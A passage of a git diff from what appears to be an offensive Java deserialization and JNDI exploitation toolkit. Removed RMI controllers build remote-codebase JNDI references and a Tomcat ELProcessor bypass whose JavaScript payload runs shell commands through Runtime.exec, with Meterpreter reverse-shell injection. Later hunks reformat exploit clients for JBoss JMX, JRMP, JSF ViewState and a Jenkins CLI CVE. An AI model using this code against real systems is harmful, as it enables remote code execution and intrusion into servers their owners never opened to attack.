-import com.qi4l.JYso.exceptions.IncorrectParamsException;
-import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
-import com.qi4l.JYso.gadgets.Config.Config;
-import com.qi4l.JYso.gadgets.utils.Gadgets;
-import com.qi4l.JYso.gadgets.utils.InjShell;
-import com.qi4l.JYso.gadgets.utils.Util;
-import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
-import com.qi4l.JYso.template.CommandTemplate;
-import com.qi4l.JYso.template.echoStatic.Meterpreter;
-import org.fusesource.jansi.Ansi;
-
-import javax.naming.Reference;
-import java.net.URL;
-import java.util.Base64;
-
-public class Basic {
- static String payloadType;
- //最后的反斜杠不能少
- static String codebase = Config.codeBase;
- static String[] params;
- static GadgetType gadgetType;
-
- public static Reference basic(String base) throws Exception {
- System.out.println("- RMI Remote Refenrence Links ");
- try {
- base = base.replace('\\', '/');
- int fistIndex = base.indexOf("/");
- int secondIndex = base.indexOf("/", fistIndex + 1);
- if (secondIndex < 0) secondIndex = base.length();
-
- try {
- payloadType = base.substring(fistIndex + 1, secondIndex);
- System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
- }
-
- int thirdIndex = base.indexOf("/", secondIndex + 1);
- if (thirdIndex != -1) {
- if (thirdIndex < 0) thirdIndex = base.length();
- try {
- gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
- }
- }
-
- if (gadgetType == GadgetType.base64) {
- String cmd = Util.getCmdFromBase(base);
- System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
- params = new String[]{cmd};
- }
-
- if (gadgetType == GadgetType.shell) {
- String cmd1 = Util.getCmdFromBase(base);
- byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
- String cmd = new String(decodedBytes);
- String[] cmdArray = cmd.split(" ");
- System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
- params = cmdArray;
- }
-
- if (gadgetType == GadgetType.msf) {
- String[] results1 = Util.getIPAndPortFromBase(base);
- Config.rhost = results1[0];
- Config.rport = results1[1];
- System.out.println("[+] RemotHost: " + results1[0]);
- System.out.println("[+] RemotPort: " + results1[1]);
- params = results1;
- }
- } catch (Exception e) {
- if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
-
- throw new IncorrectParamsException("Incorrect params >> " + base);
- }
- String className = "";
-
- if (payloadType.contains("E-")) {
- String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
- final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
- className = EchoClass.getName();
- }
-
- if (payloadType.contains("M-")) {
- String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
- InjShell.init(params);
- className = Gadgets.createClassB(ClassName1);
- }
-
- if (payloadType.contains("command")) {
- CommandTemplate commandTemplate = new CommandTemplate(params[0]);
- commandTemplate.cache();
- className = commandTemplate.getClassName();
- }
-
- if (payloadType.contains("msf")) {
- className = Meterpreter.class.getName();
- }
-
- String className1 = className.replaceAll("\\.", "/");
-
- URL turl = new URL(new URL(codebase), className1 + ".class");
- Reference ref = new Reference("Foo", className1, turl.toString());
- return ref;
- }
-}
diff --git a/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java b/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java
deleted file mode 100644
index 5c74386..0000000
--- a/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java
+++ /dev/null
@@ -1,144 +0,0 @@
-package com.qi4l.JYso.controllers.rmi;
-
-import com.qi4l.JYso.enumtypes.GadgetType;
-import com.qi4l.JYso.exceptions.IncorrectParamsException;
-import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
-import com.qi4l.JYso.gadgets.Config.Config;
-import com.qi4l.JYso.gadgets.utils.Gadgets;
-import com.qi4l.JYso.gadgets.utils.InjShell;
-import com.qi4l.JYso.gadgets.utils.Util;
-import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
-import org.apache.naming.ResourceRef;
-import org.fusesource.jansi.Ansi;
-
-import javax.naming.StringRefAddr;
-import java.io.IOException;
-import java.lang.reflect.Field;
-
-public class ELProcessor {
- static String payloadType;
- static String[] params;
- static GadgetType gadgetType = null;
-
- public static ResourceRef refTomcatBypass(String base) throws Exception {
- // 切割参数
- System.out.println("- JNDI RMI Local Refenrence Links ");
- try {
- base = base.replace('\\', '/');
- int fistIndex = base.indexOf("/");
- int secondIndex = base.indexOf("/", fistIndex + 1);
- if (secondIndex < 0) secondIndex = base.length();
-
- try {
- payloadType = base.substring(fistIndex + 1, secondIndex);
- System.out.println(Ansi.ansi().fgBrightMagenta().a(" PaylaodType: " + payloadType).reset());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
- }
-
- int thirdIndex = base.indexOf("/", secondIndex + 1);
-
- if (thirdIndex != -1) {
- if (thirdIndex < 0) thirdIndex = base.length();
- try {
- gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
- }
- }
-
- if (gadgetType == GadgetType.base64) {
- String cmd = Util.getCmdFromBase(base);
- System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
- params = new String[]{cmd};
- }
-
- if (gadgetType == GadgetType.shell) {
- String cmd1 = Util.getCmdFromBase(base);
- byte[] decodedBytes = Util.base64Decode(cmd1);
- String cmd = new String(decodedBytes);
- String[] cmdArray = cmd.split(" ");
- System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
- params = cmdArray;
- }
-
- if (gadgetType == GadgetType.msf) {
- String[] results1 = Util.getIPAndPortFromBase(base);
- Config.rhost = results1[0];
- Config.rport = results1[1];
- System.out.println("[+] RemotHost: " + results1[0]);
- System.out.println("[+] RemotPort: " + results1[1]);
- params = results1;
- }
- } catch (Exception e) {
- if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
-
- throw new IncorrectParamsException("Incorrect params: " + base);
- }
-
- // 构造ref对象
- ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
- ref.add(new StringRefAddr("forceString", "x=eval"));
- String code = null;
-
- if (payloadType.contains("E-")) {
- String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
- final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
- code = InjShell.injectClass(EchoClass);
- }
-
- if (payloadType.contains("M-")) {
- String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
- InjShell.init(params);
- code = Gadgets.createClassT(ClassName1);
- }
-
- if (payloadType.contains("command")) {
- code = getExecCode(params[0]);
- }
-
- if (payloadType.contains("meterpreter")) {
- code = injectMeterpreter();
- }
-
-
- String payloadTemplate = "{" +
- "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
- ".newInstance().getEngineByName(\"JavaScript\")" +
- ".eval(\"{replacement}\")" +
- "}";
- String finalPayload = payloadTemplate.replace("{replacement}", code);
- ref.add(new StringRefAddr("x", finalPayload));
-
- return ref;
- }
-
- public static String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
- Class ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
- Field WinClassName = ctClazz.getDeclaredField("host");
- WinClassName.setAccessible(true);
- WinClassName.set(ctClazz, params[0]);
- Field WinclassBody = ctClazz.getDeclaredField("port");
- WinclassBody.setAccessible(true);
- WinclassBody.set(ctClazz, params[1]);
- return InjShell.injectClass(ctClazz);
- }
-
- public static String getExecCode(String cmd) throws IOException {
-
- String code = "var strs=new Array(3);\n" +
- " if(java.io.File.separator.equals('/')){\n" +
- " strs[0]='/bin/bash';\n" +
- " strs[1]='-c';\n" +
- " strs[2]='" + cmd + "';\n" +
- " }else{\n" +
- " strs[0]='cmd';\n" +
- " strs[1]='/C';\n" +
- " strs[2]='" + cmd + "';\n" +
- " }\n" +
- " java.lang.Runtime.getRuntime().exec(strs);";
-
- return code;
- }
-
-}
diff --git a/src/main/java/com/qi4l/JYso/controllers/utils/AESUtils.java b/src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java
similarity index 68%
rename from src/main/java/com/qi4l/JYso/controllers/utils/AESUtils.java
rename to src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java
index 495e2cc..db237aa 100644
--- a/src/main/java/com/qi4l/JYso/controllers/utils/AESUtils.java
+++ b/src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java
@@ -6,22 +6,22 @@ import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
-public class AESUtils {
- private static final String ALGORITHM = "AES";
+public class JNDIUtils {
+ private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
- private static final int KEY_SIZE = 16;
+ private static final int KEY_SIZE = 16;
public static String decrypt(String ciphertext, String key) throws Exception {
- byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
- byte[] ivBytes = new byte[KEY_SIZE];
+ byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
+ byte[] ivBytes = new byte[KEY_SIZE];
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
- byte[] keyBytes = getKeyBytes(key);
- SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
- IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
+ byte[] keyBytes = getKeyBytes(key);
+ SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
+ IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
@@ -31,7 +31,7 @@ public class AESUtils {
}
private static byte[] getKeyBytes(String key) {
- byte[] keyBytes = new byte[KEY_SIZE];
+ byte[] keyBytes = new byte[KEY_SIZE];
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
return keyBytes;
diff --git a/src/main/java/com/qi4l/JYso/controllers/ysoserial.java b/src/main/java/com/qi4l/JYso/controllers/ysoserial.java
index 108e174..8af3faa 100644
--- a/src/main/java/com/qi4l/JYso/controllers/ysoserial.java
+++ b/src/main/java/com/qi4l/JYso/controllers/ysoserial.java
@@ -13,7 +13,6 @@ import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.*;
-import static com.qi4l.JYso.gadgets.Config.Config.BASE64;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
@@ -115,27 +114,27 @@ public class ysoserial {
Config.IS_Hessian2 = true;
}
- if(cmdLine.hasOption("XStream")){
+ if (cmdLine.hasOption("XStream")) {
Config.IS_Xstream = true;
}
- if(cmdLine.hasOption("Kryo")){
+ if (cmdLine.hasOption("Kryo")) {
Config.IS_Kryo = true;
}
- if(cmdLine.hasOption(("JYaml"))){
+ if (cmdLine.hasOption(("JYaml"))) {
Config.IS_JYAML = true;
}
- if(cmdLine.hasOption("JsonIO")){
+ if (cmdLine.hasOption("JsonIO")) {
Config.IS_JsonIO = true;
}
- if(cmdLine.hasOption("YamlBeans")){
+ if (cmdLine.hasOption("YamlBeans")) {
Config.IS_YamlBeans = true;
}
- if(cmdLine.hasOption("Castor")){
+ if (cmdLine.hasOption("Castor")) {
Config.IS_Castor = true;
}
- if(cmdLine.hasOption("Jackson")){
+ if (cmdLine.hasOption("Jackson")) {
Config.IS_Jackson = true;
}
@@ -156,7 +155,7 @@ public class ysoserial {
}
final String payloadType = cmdLine.getOptionValue("gadget");
- final String command = cmdLine.getOptionValue("parameters");
+ final String command = cmdLine.getOptionValue("parameters");
//载入gadget
final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
@@ -170,11 +169,11 @@ public class ysoserial {
try {
//载入payload
ObjectPayload payload = payloadClass.newInstance();
- Object object = payload.getObject(command);
+ Object object = payload.getObject(command);
// 是否指定混淆
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
- int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
+ int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
object = new DirtyDataWrapper(object, type, length).doWrap();
}
@@ -192,7 +191,7 @@ public class ysoserial {
} else {
out = System.out;
}
- Serializer.qiserialize(object, out,payloadType,command);
+ Serializer.qiserialize(object, out, payloadType, command);
ObjectPayload.Utils.releasePayload(payload, object);
out.flush();
out.close();
@@ -203,6 +202,7 @@ public class ysoserial {
}
System.exit(0);
}
+
private static Options getOptions() {
Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization");
@@ -234,8 +234,8 @@ public class ysoserial {
options.addOption("xs", "XStream", false, "Xstream Output");
options.addOption("kryo", "Kryo", false, "Kryo Output");
options.addOption("jy", "JYaml", false, "JYaml Output");
- options.addOption("js","JsonIO", false, "JsonIO Output");
- options.addOption("yb","YamlBeans", false, "YamlBeans Output");
+ options.addOption("js", "JsonIO", false, "JsonIO Output");
+ options.addOption("yb", "YamlBeans", false, "YamlBeans Output");
options.addOption("ca", "Castor", false, "Castor Output");
options.addOption("jk", "Jackson", false, "Jackson Output");
return options;
diff --git a/src/main/java/com/qi4l/JYso/exploit/JBoss.java b/src/main/java/com/qi4l/JYso/exploit/JBoss.java
index 1bfd8c7..1be65a5 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JBoss.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JBoss.java
@@ -1,10 +1,9 @@
package com.qi4l.JYso.exploit;
-import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
-import org.jboss.remoting3.Connection;
import org.jboss.remoting3.*;
+import org.jboss.remoting3.Connection;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.*;
import org.jboss.remotingjmx.VersionedConnection;
@@ -33,6 +32,8 @@ import java.util.Set;
import java.util.concurrent.*;
import java.util.logging.*;
+import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
+
/**
* An exploitation client for JBoss AS/Wildfly JMX
@@ -97,11 +98,11 @@ public class JBoss {
private static void doRun(URI u, final Object payloadObject, String username, String password) {
- ConnectionProvider instance = null;
- ConnectionProviderContextImpl context = null;
- ConnectionHandler ch = null;
- Channel c = null;
- VersionedConnection vc = null;
+ ConnectionProvider instance = null;
+ ConnectionProviderContextImpl context = null;
+ ConnectionHandler ch = null;
+ Channel c = null;
+ VersionedConnection vc = null;
try {
Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler());
@@ -109,10 +110,10 @@ public class JBoss {
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
- String host = u.getHost();
- int port = u.getPort() > 0 ? u.getPort() : 9990;
- SocketAddress destination = new InetSocketAddress(host, port);
- ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
+ String host = u.getHost();
+ int port = u.getPort() > 0 ? u.getPort() : 9990;
+ SocketAddress destination = new InetSocketAddress(host, port);
+ ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options);
System.err.println("Connected");
@@ -166,8 +167,8 @@ public class JBoss {
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
- XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
- FutureResult result = new FutureResult();
+ XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
+ FutureResult result = new FutureResult();
instance.connect(null, destination, options, result, new CallbackHandler() {
public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
@@ -188,7 +189,7 @@ public class JBoss {
System.err.println("waiting for connection");
IoFuture ioFuture = result.getIoFuture();
- Status s = ioFuture.await(5, TimeUnit.SECONDS);
+ Status s = ioFuture.await(5, TimeUnit.SECONDS);
if (s == Status.FAILED) {
System.err.println("Cannot connect");
if (ioFuture.getException() != null) {
@@ -205,12 +206,12 @@ public class JBoss {
}
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
- Channel c;
+ Channel c;
FutureResult chResult = new FutureResult(context.getExecutor());
ch.open("jmx", chResult, options);
IoFuture cFuture = chResult.getIoFuture();
- Status s2 = cFuture.await();
+ Status s2 = cFuture.await();
if (s2 == Status.FAILED) {
System.err.println("Cannot connect");
if (cFuture.getException() != null) {
@@ -229,8 +230,8 @@ public class JBoss {
private static VersionedConnection makeVersionedConnection(Channel c)
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc;
- Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
- Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
+ Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
+ Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
Reflections.setAccessible(vcCreate);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc;
@@ -254,13 +255,13 @@ public class JBoss {
} catch (Throwable e) {
String msg = e.getMessage();
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
- int start = msg.indexOf('"');
- int stop = msg.indexOf('"', start + 1);
+ int start = msg.indexOf('"');
+ int stop = msg.indexOf('"', start + 1);
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "";
if (!"".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
- int cstart = msg.indexOf(':');
- int cend = msg.indexOf(' ', cstart + 2);
- String cls = msg.substring(cstart + 2, cend);
+ int cstart = msg.indexOf(':');
+ int cend = msg.indexOf(' ', cstart + 2);
+ String cls = msg.substring(cstart + 2, cend);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
}
} else {
diff --git a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java
index 1288f75..6957e7c 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
-import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import javax.management.MBeanServerConnection;
@@ -9,6 +8,8 @@ import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
+import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
+
/**
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
@@ -24,7 +25,7 @@ public class JMXInvokeMBean {
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
- JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
+ JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// 去除前两个参数
diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java
index de65290..d56b18e 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
-import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import sun.rmi.transport.TransportConstants;
@@ -11,6 +10,8 @@ import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.*;
+import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
+
/**
* Generic JRMP client
*
@@ -32,7 +33,7 @@ public class JRMPClient {
}
String hostname = args[0];
- int port = Integer.parseInt(args[1]);
+ int port = Integer.parseInt(args[1]);
// 去除前两个参数
String[] newArray = new String[args.length - 2];
@@ -51,8 +52,8 @@ public class JRMPClient {
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
- Socket s = null;
- DataOutputStream dos = null;
+ Socket s = null;
+ DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
@@ -111,7 +112,7 @@ public class JRMPClient {
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
- URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
+ URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
String cb = "";
for (URL u : us) {
diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java
index 0226fe6..4ecfda3 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java
@@ -1,7 +1,5 @@
package com.qi4l.JYso.exploit;
-import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
-
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath;
@@ -18,6 +16,8 @@ import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
+import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
+
/**
* Generic JRMP listener
@@ -137,13 +137,13 @@ public class JRMPListener implements Runnable {
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
- InputStream is = s.getInputStream();
+ InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
- DataInputStream in = new DataInputStream(bufIn);
- int magic = in.readInt();
+ DataInputStream in = new DataInputStream(bufIn);
+ int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
@@ -151,9 +151,9 @@ public class JRMPListener implements Runnable {
continue;
}
- OutputStream sockOut = s.getOutputStream();
- BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
- DataOutputStream out = new DataOutputStream(bufOut);
+ OutputStream sockOut = s.getOutputStream();
+ BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
+ DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch (protocol) {
diff --git a/src/main/java/com/qi4l/JYso/exploit/JSF.java b/src/main/java/com/qi4l/JYso/exploit/JSF.java
index 6ede079..ca1abe8 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JSF.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JSF.java
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
-import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import org.apache.commons.codec.binary.Base64;
@@ -12,6 +11,8 @@ import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
+import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
+
/**
* JSF view state exploit
@@ -61,10 +62,10 @@ public class JSF {
OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(bos);
+ ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject);
oos.close();
- byte[] data = bos.toByteArray();
+ byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes("US-ASCII"));
os.close();
diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java
index 9300890..e4367f8 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
-import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
@@ -20,6 +19,8 @@ import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
+import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
+
/**
* Jenkins CLI client
*
@@ -67,8 +68,8 @@ public class JenkinsCLI {
public static Callable getPropertyCallable(final Object prop)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
- Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
- Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
+ Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
+ Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
@@ -102,8 +103,8 @@ public class JenkinsCLI {
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
- OutputStream outputStream = s.getOutputStream();
- DataOutputStream dos = new DataOutputStream(outputStream);
+ OutputStream outputStream = s.getOutputStream();
+ DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java
index 7372717..c7ed1e3 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
-import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPListener;
import com.qi4l.JYso.gadgets.utils.Reflections;
@@ -22,6 +21,8 @@ import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
+import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
+
/**
* CVE-2016-0788 exploit (1)
@@ -52,16 +53,16 @@ public class JenkinsListener {
}
String jenkinsUrl = args[0];
- int jrmpPort = 12345;
+ int jrmpPort = 12345;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
- Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
+ Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call);
- int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
+ int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid);
@@ -110,8 +111,8 @@ public class JenkinsListener {
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException {
- String msg = e.getMessage();
- int start = msg.indexOf("objID:[");
+ String msg = e.getMessage();
+ int start = msg.indexOf("objID:[");
if (start < 0) {
throw new Exception("Failed to get object id");
}
@@ -128,7 +129,7 @@ public class JenkinsListener {
throw new Exception("Failed to get object id, separator");
}
- String uid = msg.substring(start + 7, sep);
+ String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
@@ -136,10 +137,10 @@ public class JenkinsListener {
String[] parts = uid.split(":");
- long obj = Long.parseLong(objNum);
- int o1 = Integer.parseInt(parts[0], 16);
- long o2 = Long.parseLong(parts[1], 16);
- short o3 = Short.parseShort(parts[2], 16);
+ long obj = Long.parseLong(objNum);
+ int o1 = Integer.parseInt(parts[0], 16);
